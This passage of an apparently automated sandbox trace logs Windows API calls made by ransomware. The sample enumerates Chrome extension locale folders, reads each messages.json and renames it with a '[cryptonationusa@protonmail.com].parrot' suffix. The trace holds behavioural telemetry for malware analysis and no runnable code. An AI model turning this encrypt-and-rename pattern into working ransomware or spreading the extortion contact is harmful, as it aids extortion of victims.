Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.759] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0b6d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0b6d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.759] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835068f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba090be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.759] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.759] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.759] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.759] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.759] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.759] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8357bbf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f45, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.760] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x405d, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.760] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.760] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.762] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.762] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3f45, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3f45, lpOverlapped=0x0) returned 1 [0074.764] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.764] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x405d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.765] CloseHandle (hObject=0x274) returned 1 [0074.765] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0b6d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0b6d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8357bbf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba0b6d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4068, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.768] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.768] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83583120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.769] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.769] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.769] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.772] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.772] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fd7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3fd7, lpOverlapped=0x0) returned 1 [0074.774] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.775] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.775] CloseHandle (hObject=0x274) returned 1 [0074.775] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0dcea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0dcea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83583120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba0dcea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.778] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.778] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.778] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8359b7c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359ded0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.779] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.779] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.779] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.781] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.781] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fdc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3fdc, lpOverlapped=0x0) returned 1 [0074.782] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.783] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.783] CloseHandle (hObject=0x274) returned 1 [0074.784] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.786] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.786] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0dcea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0dcea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.787] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8359b7c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359ded0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba0dcea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.787] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.787] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.787] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.787] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.787] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.787] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a05e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.787] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.787] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.787] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.789] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.789] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fdc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3fdc, lpOverlapped=0x0) returned 1 [0074.791] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.792] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.792] CloseHandle (hObject=0x274) returned 1 [0074.792] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.795] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.795] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba103000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba103000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.795] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a05e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba103000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.795] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.796] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.796] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.796] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.796] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.796] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a5400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.797] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.797] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.797] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.798] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.798] ReadFile (in: 